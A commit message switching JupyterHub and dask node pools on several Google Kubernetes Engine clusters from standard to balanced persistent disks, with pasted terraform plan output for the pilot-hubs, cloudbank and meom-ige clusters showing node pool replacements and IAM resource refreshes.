text:
Switch to using pd-balanced for all user & dask nodes

We were using standard disk to save costs, but that brings with
it much slower node startup time, as images being pulled take time.
pd-balanced is a newer alternative to pure SSD disks that is
not as expensive, but provides much better performance than pd-standard.
I think the extra cost is worth the performance on all these
cases.
This was based on feedback on new node spinup performance in
https://github.com/2i2c-org/infrastructure/issues/991#issuecomment-1068644915

terraform apply output for pilot-hubs:

google_service_account.cluster_sa: Refreshing state... [id=projects/two-eye-two-see/serviceAccounts/pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com]
google_project_iam_custom_role.identify_project_role: Refreshing state... [id=projects/two-eye-two-see/roles/pilot_hubs_user_sa_role]
google_service_account.cd_sa: Refreshing state... [id=projects/two-eye-two-see/serviceAccounts/pilot-hubs-cd-sa@two-eye-two-see.iam.gserviceaccount.com]
google_artifact_registry_repository.registry: Refreshing state... [id=projects/two-eye-two-see/locations/us-central1/repositories/pilot-hubs-registry]
google_project_iam_member.cluster_sa_roles["roles/monitoring.metricWriter"]: Refreshing state... [id=two-eye-two-see/roles/monitoring.metricWriter/serviceAccount:pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/monitoring.viewer"]: Refreshing state... [id=two-eye-two-see/roles/monitoring.viewer/serviceAccount:pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/logging.logWriter"]: Refreshing state... [id=two-eye-two-see/roles/logging.logWriter/serviceaccount:pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/artifactregistry.reader"]: Refreshing state... [id=two-eye-two-see/roles/artifactregistry.reader/serviceAccount:pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/stackdriver.resourceMetadata.writer"]: Refreshing state... [id=two-eye-two-see/roles/stackdriver.resourceMetadata.writer/serviceAccount:pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com]
google_project_iam_member.cd_sa_roles["roles/artifactregistry.writer"]: Refreshing state... [id=two-eye-two-see/roles/artifactregistry.writer/serviceAccount:pilot-hubs-cd-sa@two-eye-two-see.iam.gserviceaccount.com]
google_service_account_key.cd_sa: Refreshing state... [id=projects/two-eye-two-see/serviceAccounts/pilot-hubs-cd-sa@two-eye-two-see.iam.gserviceaccount.com/keys/ee245c75f6c3fa5a36ae59597b356f4c6da80334]
google_project_iam_member.cd_sa_roles["roles/container.admin"]: Refreshing state... [id=two-eye-two-see/roles/container.admin/serviceaccount:pilot-hubs-cd-sa@two-eye-two-see.iam.gserviceaccount.com]
google_project_iam_member.identify_project_binding: Refreshing state... [id=two-eye-two-see/projects/two-eye-two-see/roles/pilot_hubs_user_sa_role/serviceAccount:pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com]
google_container_cluster.cluster: Refreshing state... [id=projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster]
google_container_node_pool.notebook["paleo"]: Refreshing state... [id=projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster/nodePools/nb-paleo]
google_container_node_pool.notebook["user"]: Refreshing state... [id=projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster/nodePools/nb-user]
google_container_node_pool.dask_worker["worker"]: Refreshing state... [id=projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster/nodePools/dask-worker]
google_container_node_pool.core: Refreshing state... [id=projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster/nodePools/core-pool]
Note: Objects have changed outside of Terraform
Terraform detected the following changes made outside of Terraform since the
last "terraform apply":
google_container_cluster.cluster has changed
~ resource "google_container_cluster" "cluster" {
id                          = "projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster"
name                        = "pilot-hubs-cluster"
# (26 unchanged attributes hidden)
  ~ node_pool {
      ~ initial_node_count          = 20 -> 0
      ~ instance_group_urls         = [
          - "https://www.googleapis.com/compute/v1/projects/two-eye-two-see/zones/us-central1-b/instanceGroupManagers/gke-pilot-hubs-cluster-nb-paleo-a6c38cd7-grp",
          + "https://www.googleapis.com/compute/v1/projects/two-eye-two-see/zones/us-central1-b/instanceGroupManagers/gke-pilot-hubs-cluster-nb-user-dabe793e-grp",
        ]
      ~ managed_instance_group_urls = [
          - "https://www.googleapis.com/compute/beta/projects/two-eye-two-see/zones/us-central1-b/instanceGroups/gke-pilot-hubs-cluster-nb-paleo-a6c38cd7-grp",
          + "https://www.googleapis.com/compute/beta/projects/two-eye-two-see/zones/us-central1-b/instanceGroups/gke-pilot-hubs-cluster-nb-user-dabe793e-grp",
        ]
      ~ name                        = "nb-paleo" -> "nb-user"
        # (4 unchanged attributes hidden)

      ~ autoscaling {
          ~ max_node_count = 100 -> 20
          ~ min_node_count = 20 -> 0
        }

      ~ node_config {
          ~ labels            = {
              - "2i2c.org/community"           = "paleo" -> null
                # (2 unchanged elements hidden)
            }
            tags              = []
            # (12 unchanged attributes hidden)

            # (2 unchanged blocks hidden)
        }

        # (2 unchanged blocks hidden)
    }
  + node_pool {
      + initial_node_count          = 10
      + instance_group_urls         = [
          + "https://www.googleapis.com/compute/v1/projects/two-eye-two-see/zones/us-central1-b/instanceGroupManagers/gke-pilot-hubs-cluster-nb-paleo-690ff684-grp",
        ]
      + managed_instance_group_urls = [
          + "https://www.googleapis.com/compute/beta/projects/two-eye-two-see/zones/us-central1-b/instanceGroups/gke-pilot-hubs-cluster-nb-paleo-690ff684-grp",
        ]
      + max_pods_per_node           = 0
      + name                        = "nb-paleo"
      + node_count                  = 1
      + node_locations              = [
          + "us-central1-b",
        ]
      + version                     = "1.20.12-gke.1500"

      + autoscaling {
          + max_node_count = 100
          + min_node_count = 0
        }

      + management {
          + auto_repair  = true
          + auto_upgrade = false
        }

      + node_config {
          + disk_size_gb      = 100
          + disk_type         = "pd-standard"
          + guest_accelerator = []
          + image_type        = "COS_CONTAINERD"
          + labels            = {
              + "2i2c.org/community"           = "paleo"
              + "hub.jupyter.org/node-purpose" = "user"
              + "k8s.dask.org/node-purpose"    = "scheduler"
            }
          + local_ssd_count   = 0
          + machine_type      = "n1-highmem-4"
          + metadata          = {
              + "disable-legacy-endpoints" = "true"
            }
          + oauth_scopes      = [
              + "https://www.googleapis.com/auth/cloud-platform",
            ]
          + preemptible       = false
          + service_account   = "pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com"
          + spot              = false
          + tags              = []
          + taint             = [
              + {
                  + effect = "NO_SCHEDULE"
                  + key    = "hub.jupyter.org_dedicated"
                  + value  = "user"
                },
            ]

          + shielded_instance_config {
              + enable_integrity_monitoring = true
              + enable_secure_boot          = false
            }

          + workload_metadata_config {
              + mode = "GKE_METADATA"
            }
        }

      + upgrade_settings {
          + max_surge       = 1
          + max_unavailable = 0
        }
    }

    # (16 unchanged blocks hidden)
}

google_container_node_pool.notebook["paleo"] has changed
~ resource "google_container_node_pool" "notebook" {
id                          = "projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster/nodePools/nb-paleo"
~ initial_node_count          = 0 -> 10
name                        = "nb-paleo"
~ node_count                  = 0 -> 1
# (7 unchanged attributes hidden)
  ~ autoscaling {
      ~ max_node_count = 20 -> 100
        # (1 unchanged attribute hidden)
    }

    # (3 unchanged blocks hidden)
}

google_project_iam_member.cd_sa_roles["roles/container.admin"] has changed
~ resource "google_project_iam_member" "cd_sa_roles" {
~ etag    = "BwXZxSY7xrc=" -> "BwXZxSuDQAQ="
id      = "two-eye-two-see/roles/container.admin/serviceaccount:pilot-hubs-cd-sa@two-eye-two-see.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
google_project_iam_member.cluster_sa_roles["roles/logging.logWriter"] has changed
~ resource "google_project_iam_member" "cluster_sa_roles" {
~ etag    = "BwXZxSY7xrc=" -> "BwXZxSuDQAQ="
id      = "two-eye-two-see/roles/logging.logWriter/serviceaccount:pilot-hubs-cluster-sa@two-eye-two-see.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
Unless you have made equivalent changes to your configuration, or ignored the
relevant attributes using ignore_changes, the following plan may include
actions to undo or respond to these changes.
─────────────────────────────────────────────────────────────────────────────
Terraform used the selected providers to generate the following execution
plan. Resource actions are indicated with the following symbols:
-/+ destroy and then create replacement
Terraform will perform the following actions:
google_container_node_pool.notebook["paleo"] must be replaced
-/+ resource "google_container_node_pool" "notebook" {
~ id                          = "projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster/nodePools/nb-paleo" -> (known after apply)
~ initial_node_count          = 10 -> 0 # forces replacement
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/two-eye-two-see/zones/us-central1-b/instanceGroupManagers/gke-pilot-hubs-cluster-nb-paleo-690ff684-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/two-eye-two-see/zones/us-central1-b/instanceGroups/gke-pilot-hubs-cluster-nb-paleo-690ff684-grp",
] -> (known after apply)
+ max_pods_per_node           = (known after apply)
name                        = "nb-paleo"
+ name_prefix                 = (known after apply)
~ node_count                  = 1 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.20.12-gke.1500" -> (known after apply)
# (3 unchanged attributes hidden)
  ~ autoscaling {
      ~ max_node_count = 100 -> 20
        # (1 unchanged attribute hidden)
    }

  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (7 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

        # (1 unchanged block hidden)
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (1 unchanged block hidden)
}

google_container_node_pool.notebook["user"] must be replaced
-/+ resource "google_container_node_pool" "notebook" {
~ id                          = "projects/two-eye-two-see/locations/us-central1-b/clusters/pilot-hubs-cluster/nodePools/nb-user" -> (known after apply)
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/two-eye-two-see/zones/us-central1-b/instanceGroupManagers/gke-pilot-hubs-cluster-nb-user-dabe793e-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/two-eye-two-see/zones/us-central1-b/instanceGroups/gke-pilot-hubs-cluster-nb-user-dabe793e-grp",
] -> (known after apply)
+ max_pods_per_node           = (known after apply)
name                        = "nb-user"
+ name_prefix                 = (known after apply)
~ node_count                  = 0 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.20.12-gke.1500" -> (known after apply)
# (4 unchanged attributes hidden)
  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ disk_type         = "pd-standard" -> "pd-balanced" # forces replacement
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (6 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

        # (1 unchanged block hidden)
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (2 unchanged blocks hidden)
}

Plan: 2 to add, 0 to change, 2 to destroy.
Warning: Argument is deprecated
with google_filestore_instance.homedirs,
on storage.tf line 4, in resource "google_filestore_instance" "homedirs":
4:   zone = var.zone
Deprecated in favor of location.
─────────────────────────────────────────────────────────────────────────────
Note: You didn't use the -out option to save this plan, so Terraform can't
guarantee to take exactly these actions if you run "terraform apply" now.

terraform apply for cloudbank:

google_project_iam_custom_role.identify_project_role: Refreshing state... [id=projects/cb-1003-1696/roles/cb_user_sa_role]
google_service_account.cluster_sa: Refreshing state... [id=projects/cb-1003-1696/serviceAccounts/cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com]
google_service_account.cd_sa: Refreshing state... [id=projects/cb-1003-1696/serviceAccounts/cb-cd-sa@cb-1003-1696.iam.gserviceaccount.com]
google_artifact_registry_repository.registry: Refreshing state... [id=projects/cb-1003-1696/locations/us-central1/repositories/cb-registry]
google_project_iam_member.cluster_sa_roles["roles/monitoring.metricWriter"]: Refreshing state... [id=cb-1003-1696/roles/monitoring.metricWriter/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/monitoring.viewer"]: Refreshing state... [id=cb-1003-1696/roles/monitoring.viewer/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/artifactregistry.reader"]: Refreshing state... [id=cb-1003-1696/roles/artifactregistry.reader/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/stackdriver.resourceMetadata.writer"]: Refreshing state... [id=cb-1003-1696/roles/stackdriver.resourceMetadata.writer/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/logging.logWriter"]: Refreshing state... [id=cb-1003-1696/roles/logging.logWriter/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com]
google_project_iam_member.cd_sa_roles["roles/artifactregistry.writer"]: Refreshing state... [id=cb-1003-1696/roles/artifactregistry.writer/serviceaccount:cb-cd-sa@cb-1003-1696.iam.gserviceaccount.com]
google_project_iam_member.cd_sa_roles["roles/container.admin"]: Refreshing state... [id=cb-1003-1696/roles/container.admin/serviceaccount:cb-cd-sa@cb-1003-1696.iam.gserviceaccount.com]
google_service_account_key.cd_sa: Refreshing state... [id=projects/cb-1003-1696/serviceAccounts/cb-cd-sa@cb-1003-1696.iam.gserviceaccount.com/keys/fc50105d4d954fbe97e4453d0988df9dc88a762a]
google_container_cluster.cluster: Refreshing state... [id=projects/cb-1003-1696/locations/us-central1-b/clusters/cb-cluster]
google_project_iam_member.identify_project_binding: Refreshing state... [id=cb-1003-1696/projects/cb-1003-1696/roles/cb_user_sa_role/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com]
google_container_node_pool.notebook["user"]: Refreshing state... [id=projects/cb-1003-1696/locations/us-central1-b/clusters/cb-cluster/nodePools/nb-user]
google_container_node_pool.dask_worker["worker"]: Refreshing state... [id=projects/cb-1003-1696/locations/us-central1-b/clusters/cb-cluster/nodePools/dask-worker]
google_container_node_pool.core: Refreshing state... [id=projects/cb-1003-1696/locations/us-central1-b/clusters/cb-cluster/nodePools/core-pool]
Note: Objects have changed outside of Terraform
Terraform detected the following changes made outside of Terraform since the
last "terraform apply":
google_container_cluster.cluster has changed
~ resource "google_container_cluster" "cluster" {
id                          = "projects/cb-1003-1696/locations/us-central1-b/clusters/cb-cluster"
name                        = "cb-cluster"
# (26 unchanged attributes hidden)
  ~ node_pool {
        name                        = "nb-user"
      ~ node_count                  = 2 -> 1
        # (6 unchanged attributes hidden)

        # (4 unchanged blocks hidden)
    }

    # (16 unchanged blocks hidden)
}

google_container_node_pool.notebook["user"] has changed
~ resource "google_container_node_pool" "notebook" {
id                          = "projects/cb-1003-1696/locations/us-central1-b/clusters/cb-cluster/nodePools/nb-user"
name                        = "nb-user"
~ node_count                  = 2 -> 1
# (8 unchanged attributes hidden)
    # (4 unchanged blocks hidden)
}

google_project_iam_member.cd_sa_roles["roles/artifactregistry.writer"] has changed
~ resource "google_project_iam_member" "cd_sa_roles" {
~ etag    = "BwXJT6xb3i4=" -> "BwXZqWSXAKE="
id      = "cb-1003-1696/roles/artifactregistry.writer/serviceaccount:cb-cd-sa@cb-1003-1696.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
google_project_iam_member.cd_sa_roles["roles/container.admin"] has changed
~ resource "google_project_iam_member" "cd_sa_roles" {
~ etag    = "BwXJT6xb3i4=" -> "BwXZqWSXAKE="
id      = "cb-1003-1696/roles/container.admin/serviceaccount:cb-cd-sa@cb-1003-1696.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
google_project_iam_member.cluster_sa_roles["roles/artifactregistry.reader"] has changed
~ resource "google_project_iam_member" "cluster_sa_roles" {
~ etag    = "BwXJT6xb3i4=" -> "BwXZqWSXAKE="
id      = "cb-1003-1696/roles/artifactregistry.reader/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
google_project_iam_member.cluster_sa_roles["roles/logging.logWriter"] has changed
~ resource "google_project_iam_member" "cluster_sa_roles" {
~ etag    = "BwXJT6xb3i4=" -> "BwXZqWSXAKE="
id      = "cb-1003-1696/roles/logging.logWriter/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
google_project_iam_member.cluster_sa_roles["roles/monitoring.metricWriter"] has changed
~ resource "google_project_iam_member" "cluster_sa_roles" {
~ etag    = "BwXJT6xb3i4=" -> "BwXZqWSXAKE="
id      = "cb-1003-1696/roles/monitoring.metricWriter/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
google_project_iam_member.cluster_sa_roles["roles/monitoring.viewer"] has changed
~ resource "google_project_iam_member" "cluster_sa_roles" {
~ etag    = "BwXJT6xb3i4=" -> "BwXZqWSXAKE="
id      = "cb-1003-1696/roles/monitoring.viewer/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
google_project_iam_member.cluster_sa_roles["roles/stackdriver.resourceMetadata.writer"] has changed
~ resource "google_project_iam_member" "cluster_sa_roles" {
~ etag    = "BwXJT6xb3i4=" -> "BwXZqWSXAKE="
id      = "cb-1003-1696/roles/stackdriver.resourceMetadata.writer/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
google_project_iam_member.identify_project_binding has changed
~ resource "google_project_iam_member" "identify_project_binding" {
~ etag    = "BwXJT6xb3i4=" -> "BwXZqWSXAKE="
id      = "cb-1003-1696/projects/cb-1003-1696/roles/cb_user_sa_role/serviceaccount:cb-cluster-sa@cb-1003-1696.iam.gserviceaccount.com"
# (3 unchanged attributes hidden)
}
Unless you have made equivalent changes to your configuration, or ignored the
relevant attributes using ignore_changes, the following plan may include
actions to undo or respond to these changes.
─────────────────────────────────────────────────────────────────────────────
Terraform used the selected providers to generate the following execution
plan. Resource actions are indicated with the following symbols:
~ update in-place
-/+ destroy and then create replacement
Terraform will perform the following actions:
google_container_node_pool.dask_worker["worker"] will be updated in-place
~ resource "google_container_node_pool" "dask_worker" {
id                          = "projects/cb-1003-1696/locations/us-central1-b/clusters/cb-cluster/nodePools/dask-worker"
name                        = "dask-worker"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.notebook["user"] must be replaced
-/+ resource "google_container_node_pool" "notebook" {
~ id                          = "projects/cb-1003-1696/locations/us-central1-b/clusters/cb-cluster/nodePools/nb-user" -> (known after apply)
~ instance_group_urls         = [
- "https://www.googleapis.com/compute/v1/projects/cb-1003-1696/zones/us-central1-b/instanceGroupManagers/gke-cb-cluster-nb-user-05ebb8d0-grp",
] -> (known after apply)
~ managed_instance_group_urls = [
- "https://www.googleapis.com/compute/v1/projects/cb-1003-1696/zones/us-central1-b/instanceGroups/gke-cb-cluster-nb-user-05ebb8d0-grp",
] -> (known after apply)
+ max_pods_per_node           = (known after apply)
name                        = "nb-user"
+ name_prefix                 = (known after apply)
~ node_count                  = 1 -> (known after apply)
~ node_locations              = [
- "us-central1-b",
] -> (known after apply)
+ operation                   = (known after apply)
~ version                     = "1.19.12-gke.2100" -> (known after apply)
# (4 unchanged attributes hidden)
  ~ node_config {
      ~ disk_size_gb      = 100 -> (known after apply)
      ~ disk_type         = "pd-standard" -> "pd-balanced" # forces replacement
      ~ guest_accelerator = [] -> (known after apply)
      ~ image_type        = "COS_CONTAINERD" -> (known after apply)
      ~ local_ssd_count   = 0 -> (known after apply)
      ~ metadata          = {
          - "disable-legacy-endpoints" = "true"
        } -> (known after apply)
        tags              = []
        # (6 unchanged attributes hidden)

      ~ shielded_instance_config {
          ~ enable_integrity_monitoring = true -> (known after apply)
          ~ enable_secure_boot          = false -> (known after apply)
        }

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
    }

  ~ upgrade_settings {
      ~ max_surge       = 1 -> (known after apply)
      ~ max_unavailable = 0 -> (known after apply)
    }
    # (2 unchanged blocks hidden)
}

Plan: 1 to add, 1 to change, 1 to destroy.
Warning: Argument is deprecated
with google_filestore_instance.homedirs,
on storage.tf line 4, in resource "google_filestore_instance" "homedirs":
4:   zone = var.zone
Deprecated in favor of location.
─────────────────────────────────────────────────────────────────────────────
Note: You didn't use the -out option to save this plan, so Terraform can't
guarantee to take exactly these actions if you run "terraform apply" now.

terraform apply for meom-ige:

google_service_account.cd_sa: Refreshing state... [id=projects/meom-ige-cnrs/serviceAccounts/meom-ige-cd-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_service_account.cluster_sa: Refreshing state... [id=projects/meom-ige-cnrs/serviceAccounts/meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_project_iam_custom_role.identify_project_role: Refreshing state... [id=projects/meom-ige-cnrs/roles/meom_ige_user_sa_role]
google_storage_bucket.user_buckets["scratch"]: Refreshing state... [id=meom-ige-scratch]
google_storage_bucket.user_buckets["data"]: Refreshing state... [id=meom-ige-data]
google_artifact_registry_repository.registry: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1/repositories/meom-ige-registry]
google_project_iam_member.cd_sa_roles["roles/container.admin"]: Refreshing state... [id=meom-ige-cnrs/roles/container.admin/serviceaccount:meom-ige-cd-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_project_iam_member.cd_sa_roles["roles/artifactregistry.writer"]: Refreshing state... [id=meom-ige-cnrs/roles/artifactregistry.writer/serviceaccount:meom-ige-cd-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_service_account_key.cd_sa: Refreshing state... [id=projects/meom-ige-cnrs/serviceAccounts/meom-ige-cd-sa@meom-ige-cnrs.iam.gserviceaccount.com/keys/6fb3ca469f000201aa0e2ea24ff02515324b1ffe]
google_project_iam_member.cluster_sa_roles["roles/logging.logWriter"]: Refreshing state... [id=meom-ige-cnrs/roles/logging.logWriter/serviceaccount:meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/monitoring.metricWriter"]: Refreshing state... [id=meom-ige-cnrs/roles/monitoring.metricWriter/serviceaccount:meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/monitoring.viewer"]: Refreshing state... [id=meom-ige-cnrs/roles/monitoring.viewer/serviceaccount:meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/stackdriver.resourceMetadata.writer"]: Refreshing state... [id=meom-ige-cnrs/roles/stackdriver.resourceMetadata.writer/serviceaccount:meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_project_iam_member.cluster_sa_roles["roles/artifactregistry.reader"]: Refreshing state... [id=meom-ige-cnrs/roles/artifactregistry.reader/serviceaccount:meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_storage_bucket_iam_member.member["scratch"]: Refreshing state... [id=b/meom-ige-scratch/roles/storage.admin/serviceaccount:meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_storage_bucket_iam_member.member["data"]: Refreshing state... [id=b/meom-ige-data/roles/storage.admin/serviceaccount:meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_project_iam_member.identify_project_binding: Refreshing state... [id=meom-ige-cnrs/projects/meom-ige-cnrs/roles/meom_ige_user_sa_role/serviceaccount:meom-ige-cluster-sa@meom-ige-cnrs.iam.gserviceaccount.com]
google_container_cluster.cluster: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster]
google_container_node_pool.notebook["huge"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-huge]
google_container_node_pool.notebook["medium"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-medium]
google_container_node_pool.notebook["large"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-large]
google_container_node_pool.core: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/core-pool]
google_container_node_pool.dask_worker["small"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-small]
google_container_node_pool.notebook["very-large"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-very-large]
google_container_node_pool.dask_worker["huge"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-huge]
google_container_node_pool.dask_worker["very-large"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-very-large]
google_container_node_pool.notebook["small"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-small]
google_container_node_pool.dask_worker["medium"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-medium]
google_container_node_pool.dask_worker["large"]: Refreshing state... [id=projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-large]
Note: Objects have changed outside of Terraform
Terraform detected the following changes made outside of Terraform since the
last "terraform apply":
google_container_cluster.cluster has changed
~ resource "google_container_cluster" "cluster" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster"
name                        = "meom-ige-cluster"
# (26 unchanged attributes hidden)
  ~ node_pool {
        name                        = "nb-medium"
      ~ node_count                  = 0 -> 1
        # (6 unchanged attributes hidden)

        # (4 unchanged blocks hidden)
    }

    # (24 unchanged blocks hidden)
}

google_container_node_pool.notebook["medium"] has changed
~ resource "google_container_node_pool" "notebook" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/nb-medium"
name                        = "nb-medium"
~ node_count                  = 0 -> 1
# (8 unchanged attributes hidden)
    # (4 unchanged blocks hidden)
}

Unless you have made equivalent changes to your configuration, or ignored the
relevant attributes using ignore_changes, the following plan may include
actions to undo or respond to these changes.
─────────────────────────────────────────────────────────────────────────────
Terraform used the selected providers to generate the following execution
plan. Resource actions are indicated with the following symbols:
~ update in-place
Terraform will perform the following actions:
google_container_node_pool.dask_worker["huge"] will be updated in-place
~ resource "google_container_node_pool" "dask_worker" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-huge"
name                        = "dask-huge"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.dask_worker["large"] will be updated in-place
~ resource "google_container_node_pool" "dask_worker" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-large"
name                        = "dask-large"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.dask_worker["medium"] will be updated in-place
~ resource "google_container_node_pool" "dask_worker" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-medium"
name                        = "dask-medium"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.dask_worker["small"] will be updated in-place
~ resource "google_container_node_pool" "dask_worker" {
id                          = "projects/meom-ige-cnrs/locations/us-central1-b/clusters/meom-ige-cluster/nodePools/dask-small"
name                        = "dask-small"
# (9 unchanged attributes hidden)
  ~ node_config {
        tags              = []
        # (12 unchanged attributes hidden)

      ~ workload_metadata_config {
          + mode = "MODE_UNSPECIFIED"
        }
        # (1 unchanged block hidden)
    }

    # (3 unchanged blocks hidden)
}

google_container_node_pool.dask_worker["very-large"] will be updated in-place
